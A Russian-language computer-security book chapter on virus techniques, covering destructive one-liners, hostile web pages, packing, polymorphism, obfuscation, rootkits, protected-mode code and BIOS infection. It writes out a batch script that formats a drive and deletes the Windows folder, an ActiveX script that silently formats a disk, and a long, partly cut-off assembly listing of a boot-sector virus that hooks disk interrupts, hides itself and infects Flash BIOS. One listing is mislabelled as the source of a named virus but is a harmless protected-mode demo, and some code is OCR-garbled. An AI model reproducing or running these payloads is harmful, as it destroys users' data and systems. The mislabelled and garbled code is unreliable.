• 5.1. Все гениальное – просто. Пишем вирус одной строкой!
  • 5.2. Веб-страница в обличии Фредди Крюгера – «потрошит» ваш винчестер!
  • 5.3. Антология сокрытия вирусного кода
  • Упаковка
  • Полиморфизм
  • Обфускация
  • Руткит-технологии
  • «Protected Mode – там, где тепло и сухо…»
  • 5.4. Как работает эвристический анализатор кода и почему даже два антивируса в системе могут стать бесполезными
  • Методология проведения теста
  • Тест № 1
  • Тест № 2
  • Тест № 3
  • Тест № 4
  • Тест № 5
  • Тест № 6
  • Тест № 7
  • Глава 5

    Агрессивные формы кода и борьба с ними

    ¦ Все гениальное – просто. Пишем вирус одной строкой!

    ¦ Веб-страница в обличии Фредди Крюгера – "потрошит" ваш винчестер!

    ¦ Антология сокрытия вирусного кода

    ¦ Как работает эвристический анализатор кода и почему даже два антивируса в системе могут стать бесполезными

    Как обойти антивирус? Можно ли написать вирус всего одной строкой кода? Может ли веб-страница отформатировать диск? Какие методы используют вирусописатели для сокрытия своего кода и почему даже два антивируса могут стать бесполезными для вашей системы?

    На эти вопросы вы найдете ответы в данной главе.

    5.1. Все гениальное – просто. Пишем вирус одной строкой!

    Можно ли создать вирус, который не будет светиться в базах антивирусов? Можно. И чтобы этот вирус форматировал диски и «убивал» Windows? Можно. Парой строчек? Можно! Только никому (листинг 5.1)…

    Листинг 5.1. Всего две строки

    @echo off

    format d:/q/y & del %SystemRoot% /q/s/f

    Возможные варианты защиты от такого "сюрприза":

    ¦ бдительность пользователя (ведь данный пример – скрипт-вирус, код которого можно просмотреть через Блокнот!);

    ¦ работа не с правами администратора (попробуйте отформатировать диск с правами пользователя!).

    5.2. Веб-страница в обличии Фредди Крюгера – «потрошит» ваш винчестер!

    Можно ли, посетив сайт, получить в подарок отформатированные диски? А почему бы и нет. Тем более что возможности JavaScript и ActiveX вкупе с многочисленными уязвимостями Internet Explorer выходят за рамки простых документированных функций (листинг 5.2).

    Листинг 5.2. Форматируем диск – легко!

    <script>

    a=new ActiveXObject("WScript.Shell");

    a.run("cmd /c format d:/y",0);

    </script>

    Применение ActiveX-компонентов делает веб-страницы более интерактивными. Но за удобство и функциональность можно дорого заплатить: многочисленные уязвимости IE позволяют, к примеру, неподписанные (они же небезопасные) компоненты ActiveX представить пользователю как подписанные (безопасные, так как происхождение и содержание такого компонента подтверждено электронной подписью удостоверяющего центра) или вообще скрыть от глаз выполнение произвольного сценария.

    Возможные варианты защиты в подобных случаях.

    ¦ Задание безопасных настроек браузера (Сервис > Свойства обозревателя > Безопасность > Высокий).

    ¦ Как альтернатива, конфигурирование зон интернет-безопасности вручную (Сервис > Свойства обозревателя > Безопасность > Другой > Загрузка неподписанных элементов ActiveX > Отключить, Активные сценарии > Отключить и т. д.).

    ¦ Ну и, конечно же, бдительность пользователя. К примеру, прежде чем вышеописанный сценарий сделает свое черное дело, система два раза "аккуратно намекнет" на потенциальную опасность (рис. 5.1 и 5.2).

    Рис. 5.1. Первое предупреждение

    Рис. 5.2. Второе предупреждение

    5.3. Антология сокрытия вирусного кода

    Не секрет, что выживаемость современного вредоносного ПО в большей степени обусловлена его параллельной эволюцией с антивирусными продуктами. Современный антивирус уже не тот, который был год-два тому назад, – это факт. Для отлова и уничтожения вредоносного кода в антивирусах реализованы самые передовые и изощренные технологии: модули проактивной защиты и анализа подозрительного поведения, контроль целостности приложений и реестра и др. Стоит только такому «зверю» показать себя, как его тут же пропустят через «мясорубку», в роли которой, как вы уже догадались, выступает антивирусный сканер, после чего подозрительные остатки окажутся «на приеме» у эвристического анализатора.

    Ну да, казалось бы, после такого чистилища какой из экземпляров вирусного кода выстоит? Но нет. Все же факт остается фактом: ежедневно регистрируется появление более сотни экземпляров вирусного кода, и каждый из экземпляров рожден, чтобы остаться невидимкой.

    На сегодняшний день можно выделить следующие наиболее популярные методы сокрытия:

    ¦ упаковка;

    ¦ полиморфизм;

    ¦ обфускация;

    ¦ руткит-технологии;

    ¦ сокрытие в среде.

    Даже этого, далеко не полного списка достаточно, чтобы представить себе, насколько технологичны современные методы сокрытия вирусного кода.

    Упаковка

    Начнем с упаковки как самого популярного метода сокрытия вирусного кода. К слову будет сказано, именно упаковка является самым простым инструментом, чтобы скрыть вирус, который уже засветился в антивирусных базах.

    Упаковка заключается в сжатии исполняемого файла и прикреплении к нему кода, необходимого для распаковки и исполнения.

    Как метод сокрытия упаковка представляет собой довольно грозное оружие. Достаточно привести пример: грамотно упакованный червь способен вызвать не менее серьезную, чем его первообраз, эпидемию, ведь такой червь распознается антивирусами как новый экземпляр. Не секрет, что большинство из ныне присутствующих в сети вредоносных программ есть не что иное, как модификации посредством упаковки. Например, широко известный троянский конь Backdoor.Rbot распространяется упакованным множеством различных упаковщиков (Ezip, Exe32Pack, ExeStealth, PecBundle, PECompact, FSG, UPX, Morphine, ASPack, Petite, PE-Pack, PE-Diminisher, PELock, PESpin, TeLock, Molebox, Yoda, Ezip, Krypton и др.).

    Когда антивирусу попадается упакованный файл, он его, понятное дело, пытается распаковать. Получается, что чем с большим количеством упаковщиков способен работать антивирус, тем больше у него шансов обнаружить упакованный код.

    Поддержка большого количества разновидностей упаковщиков и архиваторов особенно критична для проверки почтовых систем, так как подавляющая часть вирусов пересылается по почте в архивированном виде.

    Вам наверняка интересно понять разницу между архиватором и упаковщиком. А разница в том, что сжатое упаковщиком разжимается в память, архиватором – на диск.

    Понятно, что добраться до упакованного кода можно, лишь распаковав его. Но и это не всегда просто. Посмотрим почему.

    Распаковщики делятся на динамические и статические. Динамические распаковщики (например, procdump или PEiD) запускают файл и создают распакованный вариант файла из образа, загруженного в память. Однако, если этот файл содержал вирус (а он его содержит!), система может быть повреждена раньше, чем антивирус успеет что-либо сделать. Кроме того, у упаковщиков существует ряд приемов борьбы с динамической распаковкой, например расшифровывать код не полностью, а лишь по мере исполнения, или, например, расшифровывать и запускать вирус целиком только в определенный день недели.

    Статические распаковщики – это те, которые пытаются распаковать файл, не запуская его (например, CUP386 или UNP). Очень часто статические распаковщики оказываются бесполезны, если алгоритм упаковки требует запуска файла.

    Чтобы представить себе весь размах упаковки, достаточно привести этот скромный список упаковщиков, применяемых при сокрытии вирусного кода: EP (ExE Pack), ACProtect, Active PE Scrambler, AHTeam UPX Mutanter, Armadillo SPS, ASPack, ASProtect, ASProtect SKE, aUS [Advanced UPX Scrambler], Beria, DEF, Enigma Protector, Exe Stealth, Exe32Pack, EXECryptor, EXERefactor, eXPressor, Fake Ninja, fileEncrypt, FSG, GPcH Protect, Hide PE, HidePX, hyings PE-Armor, JDPack, KByS Packer, kkrunchy, Krypton The Krypter, Mew 11 SE, MoleBox Pro, Morphine, mPack, MSLRH, nPack, NsPack, Obsidium, ORiEN, Packman, PC Guard, PE Diminisher, PECompact, PELock, PEQuake, PESpin, PeStubOEP, Petite, PeX, Private exe Protector, PseudoSignerRLP, SDProtector Pro, Special EXE Password Protector, SHProtector, ShrinkWrap, SLVc0deProtector, Spirits PE Crasher, Stealth PE, tElock, Themida,

    TPPpack, TrueEP, Unopix, UPX, VB AntiCrack, VMProtect, WinUpack, yoda Crypter, yoda Protector, [G!X]s Protector.

    Кому-то из читателей этот список, наверное, может показаться большим – а ведь это всего лишь десятая часть от того, что в настоящее время применяется.

    Очень часто, чтобы запутать антивирус и сделать так, чтоб тот не смог распознать, чем запакован код, вирус дополнительно пропускают через утилиты типа PEiD, основной задачей которого является изменение точки входа в программу, но об этом более подробно в подразд. "Обфускация" этого раздела.

    Полиморфизм

    Полиморфизм представляет собой способность вируса в процессе работы менять свой код таким образом, чтобы максимально затруднить процесс своего обнаружения путем сигнатурного сканирования и частично эвристики.

    Особо следует отметить тот факт, что и сама процедура, определяющая мутацию кода, не должна быть постоянной. Такая процедура изменения вируса видоизменяется при каждом новом заражении.

    На самом деле обнаружение грамотно написанного полиморфного вируса средствами обычного сигнатурного сканирования невозможно. Неудивительно, что с появлением полиморфизма во многих антивирусных продуктах появились принципиально новые техники обнаружения: эвристика и эмуляторы кода.

    Первый известный полиморфный вирус 1260 был написан Марком Вашберном (Mark Washburn) уже в далеком 1990 году.

    Пожалуй, самый простой способ реализации полиморфизма заключается в том, чтобы побайтно зашифровать основную часть вируса операцией XOR (листинг 5.3).

    Листинг 5.3. Побайтное шифрование – простейший пример

    mov cx, code_length

    mov si, offset begin_code

    mov al, xor_key

    _loop:

    xor [si+cx], al расшифровываем байт

    loop _loop ;берем следующий байт

    jmp si

    ;...

    ;...

    begin_code:

    ;зашифрованная часть тела вируса – здесь!

    ;она ответственна за заражение новых файлов

    ;и создание новой процедуры расшифровки

    В качестве примера уместно привести описание следующего полиморфного вируса (www.virusList.com).

    Virus.Win32.Zombie – сложный полиморфный вирус, который использует уникальную технологию встраивания в файлы: вирус "разбирает" (дизассембли-рует) PE EXE-файл на составные части, встраивает свой код и собирает заново, перемешивая при этом свой код и код заражаемого файла. Virus.Win32.Zombie использует уникальную технологию декриптования своего тела для обхода эвристических анализаторов.

    Обфускация

    Обфускация (от лат. obfuscare – «затенять, затемнять») – техника, направленная на запутывание кода программы, то есть приведение исходного текста или исполняемого кода к работающему виду, но затрудняющему анализ такого кода.

    Обфускация может быть проведена на уровне алгоритма, на уровне исходного текста или вообще ассемблерного текста. Так, создание запутанного ассемблерного текста может быть достигнуто путем использования специализированных компиляторов. Такие компиляторы, как правило, заново создают код, используя для этого недокументированные возможности среды выполнения программы.

    Для создания "запутанного" кода существуют специализированные утилиты, которые так и называются– обфускаторы.

    В контексте сокрытия вирусного кода суть метода заключается в том, чтобы запутать программный код и устранить в нем большинство логических связей, делая код максимально неузнаваемым антивирусным ПО (листинги 5.4, 5.5).

    Листинг 5.4. Некоторые примеры обфускации кода. Пример № 1

    int COUNT = 100;

    float TAX_RATE = 0.2;

    for (int i=0; i<COUNT; i++)

    {

    tax[i] = orig_price[i] * TAX_RATE; price[i] = orig_price[i] + tax[i];

    }

    Код после обфускации:

    for(int a=0;a<100;a++){b[a]=c[a]*0.2;d[a]=c[a]+b[a];}

    Листинг 5.5. Некоторые примеры обфускации кода. Пример № 2 (Perl)

    my $filter;

    if (@pod) {

    my ($buffd, $buffer) = File::Temp::tempfile(UNLINK => 1);

    print $buffd "";

    print $buffd @pod or die "";

    print $buffd

    close $buffd or die "";

    @found = $buffer;

    $filter = 1;

    }

    exit;

    sub is_tainted {

    my $arg = shift;

    my $nada = substr($arg, 0, 0); # zero-length

    local $@; # preserve caller's version

    eval { eval "#" }; return length($@) != 0;

    }

    sub am_taint_checking {

    my($k,$v) = each %ENV;

    return is_tainted($v);

    }

    После обфускации:

    sub z109276e1f2 { ( my $z4fe8df46b1 = shift ( @_ ) ) ; ( my

    $zf6f94df7a7 = substr ( $z4fe8df46b1 ,

    (0x1eb9+ 765-0x21b6) , (0x0849+ 1465-0x0e02) ) ) ; local $@ ;

    eval { eval ( (

    "" ) ) ; } ; return ( ( length ( $@ ) != (0x26d2+ 59-0x270d) ) )

    ; } my ( $z9e5935eea4 ) ; if ( @z6a703c020a ) { ( my (

    $z5a5fa8125d , $zcc158ad3e0 ) =

    File::Temp::tempfile ( "" , (0x196a+ 130-0x19eb) ) ) ; print (

    $z5a5fa8125d "" ) ; ( print ( $z5a5fa8125d @z6a703c020a

    ) or die ( ( ( ( "" . $zcc158ad3e0 ) . "\x3a\x20" ) . $! ) ) ) ;

    print ( $z5a5fa8125d "" ) ; ( close ( $z5a5fa8125d ) or die ( ( (

    ( "" ) ) ) ; ( @z8374cc586e = $zcc158ad3e0 ) ; ( $z9e5935eea4 =

    (0x1209+ 1039-0x1617) ) ; } exit ; sub z021c43d5f3 { ( my (

    $z0f1649f7b5 , $z9e1f91fa38 ) = each ( %ENV ) ) ; return (

    z109276e1f2 ( $z9e1f91fa38 ) ) ; }

    Как видите, в простейшем случае процедура обфускации заключается в переводе кода в нечитаемое (но рабочее) состояние.

    Вышеописанные примеры – примеры так называемой высокоуровневой обфускации "мирного назначения". Если же ее экстраполировать на вирусный код, то изменится немногое: разве только то, что при маскировке вирусного кода используют в большинстве случаев низкоуровневую обфускацию (с применением команд ассемблера), а также программы для автоматической обфускации, например Afx!AVSpoffer, EPProt и PETools.

    Технология обфускации может подразумевать следующие процедуры:

    ¦ изменение таблиц импорта, экспорта и переадресации;

    ¦ маскировка оригинальной Entry Point (точка входа в программу);

    ¦ использование полиморфного варианта распаковки.

    Продолжим рассмотрение вариантов сокрытия и рассмотрим особенности руткит-технологий.

    Руткит-технологии

    Термин руткит (от англ. root kit – «набор для получения прав администратора») есть не что иное, как программа или набор программ для скрытого взятия под контроль взломанной системы.

    В контексте сокрытия вирусного кода в системе Windows под rootkit принято подразумевать такой код, который, будучи внедренным в систему, способен перехватывать системные функции (Windows API). Нетрудно догадаться, что такой перехват и модификация API-функций позволяют руткиту легко и просто замаскировать свое присутствие во взломанной системе.

    Упрощенно все rootkit-технологии сокрытия можно разделить на две категории:

    ¦ работающие в режиме пользователя (user-mode);

    ¦ работающие в режиме ядра (kernel-mode).

    User-mode-категория руткитов основана на перехвате функций библиотек пользовательского режима, kernel-mode – на установке в систему драйвера, осуществляющего перехват функций уровня ядра.

    В настоящее время можно выделить следующие методы перехвата API-функций в режиме пользователя (user mode):

    ¦ модификация таблицы импорта;

    ¦ модификация машинного кода прикладной программы;

    ¦ модификация программного кода API-функции;

    ¦ перехват функций LoadLibrary и GetProcAddress.

    Модификация таблицы импорта. Пожалуй, именно эта методика сокрытия претендует на звание классической. Технология такой маскировки заключается в следующем: rootkit находит в памяти таблицу импорта исполняемой программы и корректирует адреса интересующих его функций на адреса своих перехватчиков. Кажется, что все достаточно просто.

    В момент вызова API-функции программа считывает ее адрес из таблицы импорта и передает по этому адресу управление. Поиск таблицы импорта в памяти несложен, поскольку для этого уже известны специализированные API-функции, позволяющие работать с образом программы в памяти.

    Данная методика достаточно универсальна, к тому же она проста в реализации, но у нее есть существенный недостаток – при таком механизме перехватываются только статически импортируемые функции.

    Модификация машинного кода прикладной программы. Как следует из названия, суть метода заключается в модификации машинного кода, отвечающего в прикладной программе за вызов той или иной API-функции. Реализация методики достаточно сложна, обусловлено это богатым разнообразием языков программирования и версий компиляторов, к тому же и сама реализация вызовов API-функций может быть различна.

    Модификация программного кода API-функции. Методика заключается в том, что rootkit должен найти в памяти машинный код интересующих его API-функций и модифицировать его. При этом вмешательство в машинный код перехватываемых функций минимально. В начале функции обычно размещают две-три машинные команды, передающие управление основной функции-перехватчику. Основным условием такой методики является сохранение исходного машинного кода для каждой модифицированной им функции.

    Перехват функций LoadLibrary и GetProcAddress. Перехват этих функций чаще всего выполняется путем модификации таблицы импорта: если перехватить функцию GetProcAddress, то при запросе адреса можно выдавать программе не реальные адреса интересующих ее функций, а адреса своих перехватчиков. При вызове GetProcAddress она получает адрес и выполняет вызов функции.

    Перехват функций в режиме ядра (kernel mode). Чтобы понять суть метода, будет полезным рассмотреть принципы взаимодействия библиотек user-mode и kernel-mode.

    Взаимодействие с ядром осуществляется через ntdll.dll, большинство функций которой являются посредниками при обращении к ядру через прерывание INT 2Eh. Конечное обращение к функциям ядра основано на структуре KeServiceDescrip-torTable (или сокращенно SDT), расположенной в ntoskrnl.exe. SDT, – это таблица, содержащая адреса точек входа сервисов ядра NT.

    Упрощенно можно сказать, что для перехвата функций необходимо написать драйвер, который произведет модификацию таблицы SDT. Перед модификацией драйверу необходимо сохранить адреса перехватываемых функций и записать в таблицу SDT адреса своих обработчиков. Следует отметить, что такой перехват может быть реализован не только в руткитах. Так, существует достаточное количество полезных программ "мирного" назначения, перехватывающих функции при помощи правки SDT (RegMon от SysInternals или программа Process Guard).

    Описанный выше метод перехвата можно считать наиболее простым. Существуют и другие подобные способы перехвата, к примеру создание драйвера-фильтра. Драйвер-фильтр может с успехом как решать задачи мониторинга (например, утилита FileMon), так и использоваться для активного внедрения в работу системы.

    В частности, драйвер-фильтр может применяться для маскировки файлов и папок на диске. Принцип работы такого драйвера основан на манипуляциях с пакетами запроса ввода-вывода (IRP).

    «Protected Mode – там, где тепло и сухо…»

    Почему бы не создать вирус, работающий в защищенном режиме процессора? Действительно, обнаружить такой вирус антивирусной программе будет, мягко говоря, ну очень трудно, если не невозможно.

    В качестве горячего примера, реализующего работу в защищенном режиме, уместно привести файловый вирус PM.Wanderer. Это резидентный полиморфный вирус, работающий в защищенном режиме процессоров i386-Pentium. Для своей работы вирус активно использует документированный интерфейс VCPI (Virtual Control Program Interface) драйвера расширенной памяти EMS (EMM386).

    При запуске инфицированной программы вирус пытается "узнать", установлен ли в системе EMS-драйвер. Если вышеуказанного драйвера в системе нет, то вирус отдает управление программе-вирусоносителю, завершая при этом свою активность.

    Если же драйвер есть, то вирус выполняет последовательный ряд подготовительных действий для выделения памяти под свое тело и переключения процессора в защищенный режим работы с наивысшим уровнем привилегий.

    В защищенном режиме вирус пытается контролировать INT21 путем установки двух аппаратных контрольных точек на адреса входа в обработчик прерывания INT 21h и перехода на процедуру перезагрузки компьютера. Помимо прочего, вирус так модифицирует дескрипторную таблицу прерываний, чтобы на прерывания INT 1 (особый случай отладки) и INT 9 (клавиатура) установить собственные дескрипторы обработчиков прерываний. Тем самым достигается тотальный контроль всех нажатий клавиш на клавиатуре и попыток мягкой перезагрузки компьютера.

    Результатом вышеописанных действий является копирование вируса в память компьютера и переключение процессора обратно в виртуальный режим работы. Затем вирус освобождает ранее выделенную память DOS в верхних адресах и возвращает управление инфицированной программе.

    При заражении файлов вирусный код внедряется в начало СОМ или в середину ЕХЕ-файла. Код вируса "весит" 3684 байт, но, как правило, инфицированные им файлы имеют приращение длины более 3940 байт. Код вируса содержит текст "WANDERER" (листинг 5.6).

    Листинг 5.6. Исходный код "WANDERER"

    .286

    .model tiny .code org 100h

    ; Подготовка к защищенному режиму работы

    ; Структура дескриптора

    desc_struc STRUC

    limit dw 0

    baseJ dw 0

    base_h db 0

    access db 0

    rsrvdw 0

    desc_struc ENDS

    ACC_PRESENT equ 10000000b

    ACC_CSEG equ 01000000b

    ACC_DSEG equ 00010000b

    ACC_EXPDOWN equ 00001000b

    ACC_CONFORM equ 00000100b

    ACC_DATAWR equ 00000010b

    DATA_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR

    ; 10010010b

    CODE_ACC=ACC_PRESENT or ACC.CSEG or ACC_CONFORM ;

    10011100b

    STACK_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR or ACC.EXPDOWN

    ; 1001011 Ob

    ;Размеры сегментов

    CSEG SIZE=65535

    DSEG_SIZE=65535

    STACK_SIZE=65535

    ; Смещения дескрипторов

    CS_DESCR=(gdt_cs-gdt_0)

    DS_DESCR=(gdt_ds-gdt_0)

    SS_DESCR=(gdt_ss-gdt_0)

    Константы значений портов

    CMOS_PORT equ 070h

    STATUS_PORT equ 064h

    SHUTDOWN equ 0FEh

    A20_PORT equ 0D1h

    A20_ON equ 0DFh

    A20_OFF equ 0DDh

    INT_MASK_PORT equ 021h

    KBD_PORT_A equ 060h

    start:

    ; Инициализация данных для перехода в защищенный режим

    call init_protected_mode

    ; Сам переход

    call set_protected_mode

    ; Возврат в реальный режим

    call set_real_mode

    ; Печатаем сообщение "Light General"

    mov ah, 09h

    lea dx, qw

    int 21h

    ; Выход в DOS

    mov ax, 4C00h

    int 21h

    ; Макрокоманда для установки адреса для дескриптора

    ; в глобальной таблице дескрипторов GDT.

    setgdtentry MACRO

    mov [desc_struc.base_l][bx], ax

    mov [desc_struc.base_h][bx], dl

    ENDM

    init_protected_mode PROC

    mov ax, ds

    mov dl, ah

    shr dl, 4

    shl ax, 4

    ; Устанавливаем адрес сегмента данных

    ; в глобальной таблице дескрипторов

    mov bx, offset gdt_ds

    setgdtentry

    add ax, offset gdtr

    adc dl, 0

    ; Останавливаем адрес сегмента GDT в глобальной таблице дескрипторов

    mov bx, offset gdt_gdt

    setgdtentry

    ; Вычисляем абсолютный адрес для сегмента кода ;

    в соответствии со значением регистра CS

    mov ax, cs

    mov dl, ah

    shr dl, 4

    shl ax, 4

    ; Устанавливаем адрес сегмента кода ;

    в глобальной таблице дескрипторов

    mov bx, offset gdt_cs

    setgdtentry

    ; Вычисляем абсолютный адрес для сегмента стека ;

    в соответствии со значением регистра SS

    mov ax, ss

    mov dl, ah

    shr dl, 4

    shl ax, 4

    ; Устанавливаем адрес сегмента стека ;

    в глобальной таблице дескрипторов

    mov bx, offset gdt_ss

    setgdtentry

    ; Перехватываем рестарт.

    pushds

    mov ax, 40h

    mov ds, ax

    mov word ptr ds:[0067h], offset shutdown_return

    mov word ptr ds:[0069h], cs

    pop ds

    ; Запрещаем маскируемые прерывания

    cli

    in al, INT_MASK_PORT

    or al, OFFh

    out INT_MASK_PORT, al

    mov al, 8Fh

    out CMOS_PORT, al

    jmp $+2 mov al, 5

    out CMOS_PORT+1, al

    ret

    init_protected_mode ENDP

    ; Подпрограмма, переводящая процессор в защищенный режим

    set_protected_mode PROC

    ; Открываем адресную линию А20 для доступа свыше 1 Мбайт

    call enable_a20

    ; Сохранение значения регистра SS для реального режима

    mov real_ss, ss

    ; Перевод компилятора Turbo Assembler в улучшенный режим.

    ; IDEAL – это не команда и не оператор, это директива, влияющая

    ; только на интерпретацию дальнейших строк листинга

    ideal

    р286

    ;Загружаем регистр глобальной таблицы дескрипторов GDTR

    lgdt[QWORD gdt_gdt] ; db OFh,01h,16h dw offset gdt_gdt ;

    Переводим процессор в защищенный режим

    mov ax, 0001h

    lmswax ; db OFh,01h,FOh

    ; Переводим компилятор Turbo Assembler назад в режим MASM

    masm

    .286

    jmp far flush

    ; db 0EAh

    ; dw offset flush

    ; dw CS_DESCR

    flush:

    ; Останавливаем в регистр SS селектор сегмента стека

    mov ax, SS_DESCR

    mov ss, ax

    ; Устанавливаем в регистр DS селектор сегмента данных

    mov ax, DS_DESCR

    mov ds, ax

    ; Записываем в строку qw символ "L" и выходим из подпрограммы

    mov byte ptr ds:[offset qw+2],"L"

    ret

    set_protected_mode ENDP

    ; Подпрограмма, возвращающая процессор в реальный режим

    set_real_mode PROC

    ; Сохраняем значение регистра SP для реального режима

    mov real_sp, sp

    ; Выполняем CPU Reset (рестарт процессора)

    mov al, SHUT_DOWN

    out STATUS_PORT, al

    ; Ждем, пока процессор перезапустится

    wait_reset:

    hlt

    jmp wait_reset

    ; C этого места программа выполняется после перезапуска процессора

    shutdown_return:

    ; Устанавливаем регистр DS в соответствии с регистром CS

    pushcs

    pop ds

    ; Восстанавливаем указатели на стек

    ; по ранее сохраненным значениям

    mov ss, real_ss

    mov sp, real_sp

    ; Закрываем адресную линию А20

    call disable_a20

    ; Разрешаем немаскируемые прерывания

    mov ax, 000dh

    out CMOS_PORT, al

    ; Разрешаем маскируемые прерывания

    in al, INT_MASK_PORT

    and al, 0

    out INT_MASK_PORT, al

    sti

    ret

    set_real_mode ENDP

    ; Процедура, открывающая адресную линию А20. После открытия

    ; адресной линии программам будет доступна память свыше 1 Мбайт

    enable_a20 PROC

    mov al, A20_PORT

    out STATUS_PORT, al

    mov al, A20_ON

    out KBD_PORT_A, al

    ret

    enable_a20 ENDP

    disable_a20 PROC

    mov al, A20_PORT

    out STATUS_PORT, al

    mov al, A20_OFF

    out KBD_PORT_A, al

    ret

    disable_a20 ENDP

    ; Здесь сохраняется адрес стека

    real_sp dw ?

    real_ss dw ?

    ; Эта строка выводится на экран после работы программы ;

    Символ "?" заменяется на "L" в защищенном режиме

    qw db 13,10,"?ight General",13,10,"$"

    ; Глобальная таблица дескрипторов. Нулевой дескриптор

    ; обязательно должен быть "пустым"

    GDT_BEG=$

    gdtr label WORD

    gdt_0 desc_struc <0,0,0,0,0>;

    gdt_gdt desc_struc <GDT_SIZE-10,DATA_ACC,0>

    gdt_ds desc_struc <DSEG_SIZE-10,DATA_ACC,0>

    gdt_cs desc_struc <CSEG_SIZE-10,CODE_ACC,0>

    gdt_ss desc_struc <STACK_SIZE-10,DATA_ACC,0>

    GDT_SIZE=($-GDT_BEG)

    END start

    FLASH BIOS – почему бы и нет! Самая обычная ситуация – это когда код привязан к файловой системе и/или является резидентным (выполняющимся в оперативной памяти). Но что если вирусный код работает в BIOS?!

    Да-да, именно, а почему бы и нет. Отлов и уничтожение такого "зверя" потребует от антивирусной программы чего-то большего, а именно – возможности трассировать прерывание INT 16h.

    ПРИМЕЧАНИЕ

    Прерывание (от англ. interrupt) – сигнал, сообщающий процессору о совершении какого-либо события. Прерывание подразумевает приостановку выполнения текущей последовательности команд и передачу управления обработчику прерывания.

    Почему все так сложно и как с этим связан антивирусный монитор?

    Все дело в том, что BIOS (AMI, например) обладает некоторыми особенностями работы в микросхемах Flash-памяти, которые базируются на использовании функции EOh прерывания INT 16h. Внесенный в данную область памяти вирус впоследствии запрещает повторно использовать указанную функцию. Как следствие, это запретит антивирусным программам воспользоваться ею в процессе удаления вируса из BIOS компьютера. Как же это все работает?

    Алгоритм работы вируса, "живущего" в BIOS, выглядит следующим образом.

    1. Вирус проверяет систему на наличие Flash BIOS.

    2. Далее идет проверка на зараженность Flash BIOS (если BIOS чист – то "ОК", иначе – осуществить выход).

    3. Считывается вектор INT 19h из таблицы (прерывание загрузки).

    4. Читает первые пять байт от точки входа INT 19h.

    5. Проверяет свободное место в микросхеме BIOS (поиск области нулей).

    6. Устанавливает память Flash BIOS в режим записи (нормальное ее состояние в режиме чтения).

    7. Запись вируса в найденную свободную область.

    8. Запись перехода на вирус в точку входа INT 19h.

    9. Возврат Flash BIOS в режим "только чтение".

    Вот, собственно, и сам код с комментариями (листинг 5.7):

    Листинг 5.7. Код вируса, поражающего BIOS ;

    Вирусный код, заражающий Flash BIOS.

    ; Наиболее опасен тем, что при заражении нельзя будет загрузиться ;

    даже с "чистой" дискеты.

    org 0

    ; При входе в boot-сектор 01=загрузочный диск

    mov si, 7C00h ;

    Устанавливаем 0000h в регистрах DS и ES

    хог ах, ах

    mov es, ax

    mov ds, ax

    ; Устанавливаем значение стека 0000h:7C00h

    cli

    mov ss, ax

    mov sp, si

    sti

    ; Уменьшаем на 1Кбайт память (0040h:0013h)

    dec word ptr [0413h] ;

    Получаем размер памяти (при возврате в АХ)

    int 12h

    mov cl, 6

    shl ax, cl

    ; Устанавливаем новый сегмент вируса

    mov es, ax

    ; Переносим вирусный сектор в вершину памяти

    xor di, di

    mov cx, 200h

    cld

    rep movsb

    ; Сохраняем вектор прерывания INT 13h

    mov ax, word ptr [13h*4]

    mov word ptr es: [off set i13], ax

    mov ax, word ptr [13h*4+2]

    mov word ptr es: [offset i13+2], ax

    ; Устанавливаем новый вектор прерывания INT 13h

    mov word ptr [13h*4], offset Handler

    mov word ptr [13h*4+2], es

    ; Переходим в точку ES:Restart (в копии вируса,

    ; находящейся в вершине памяти)

    already_resident:

    push es

    mov ax, offset Restart

    push ax

    retf

    ; Ниже программа работает уже в вершине памяти

    Restart:

    ; Загружаем оригинальный boot-сектор из конца

    ; root directory и передаем ему управление

    xor ах, ах

    call int13h

    ; Готовим регистры для загрузки оригинального boot-сектора

    хог ах, ах

    mov es, ax

    ; Сегмент для загрузки

    mov bx, 7C00h

    ; Смещение для загрузки

    mov cx, 0002h

    ; Дорожка 0, сектор 2

    xor dh, dh

    ; Головка 0

    mov ax, 0201h ;

    Функция 2, количество секторов 1

    ; Проверяем загрузочный диск. 80h и выше – это адрес жесткого диска,

    ; иначе – дискета. Копию оригинального boot-сектора храним :

    ; на жестком диске – дорожка 0, головка 0, сектор 2;

    ; на дискете – дорожка 0, головка 1, сектор 14

    cmp dl, 80h

    jae MBR_Loader

    ; Грузимся с дискеты: изменим сектор и головку

    mov с1, 14 ; Сектор 14

    mov dh, 1 ; Головка 1

    ; 3агрузим оригинальный boot-сектор по адресу 0000h:7C00h

    MBR_Loader:

    call int13h

    ; Сохраняем в стеке номер диска, с которого грузимся

    push dx

    ; Проверяем, заражен ли Flash BIOS

    cmp byte ptr cs:flash_done, 1

    je Flash_resident

    ; Инфицируем Flash BIOS

    call flash_BIOS

    ; Восстанавливаем из стека DX (номер загрузочного диска)

    Flash_resident:

    pop dx

    ; 3апускаем оригинальный boot-сектор (JMP FAR 0000h:7C00h)

    db 0EAh

    dw 7C00h

    dw 0

    ;Скрываем присутствие вируса методом чтения оригинального boot-сектора

    Stealth:

    ; Останавливаем значения сектора, где хранится копия оригинального

    ; boot-сектора

    mov cx, 02h

    mov ax, 0201h

    ; Проверяем, откуда считан boot-сектор (дискета или жесткий диск),

    ; так как копии хранятся в разных местах

    cmp dl, 80h

    jae hd_stealth

    mov cl, 14

    mov dh, 1 hd_stealth:

    ; Читаем копию оригинального boot-сектора

    call int13h

    ; Выходим из обработчика прерывания

    jmp pop_exit

    ; Проверяем наличие резидентного вируса

    restest:

    xchgah, al

    iret

    ; Обработчик прерывания INT 13h

    Handler:

    cmp ax, 0ABBAh

    je restest

    ; Перехватываем только функцию 02h (чтение сектора): проверяем

    ; номер функции. Если не 2, запускаем оригинальный обработчик

    cmp ah, 2

    jne jend

    ; Проверяем номера дорожки и сектора, интересуясь только теми

    ; секторами, в которых может оказаться вирус :

    ; дорожка 0, головка 0, сектор 1

    cmp cx, 1

    jne jend

    ; Проверим номер головки. Если не 0, то запустим

    ; оригинальный обработчик

    cmp dh, 0

    jne jend

    tryinfect:

    ; Считаем сектор в буфер (для дальнейшей обработки).

    ; Для этого вызовем оригинальный INT 13h

    call int13h

    jc jend

    ; Сохраним регистры и флаги (обработчик не должен изменить их)

    pushf

    push ax

    push bx

    push cx

    push dx

    push si

    push di

    push es

    push ds

    ; Проверяем, заражен ли данный диск вирусом: читаем сигнатуру. ;

    Если диск заражен, скрываем присутствие вируса

    cmp word ptr es:[bx+offset marker], "LV"

    je stealth

    ; Если диск не заражен, то заражаем

    cmp dl, 80h

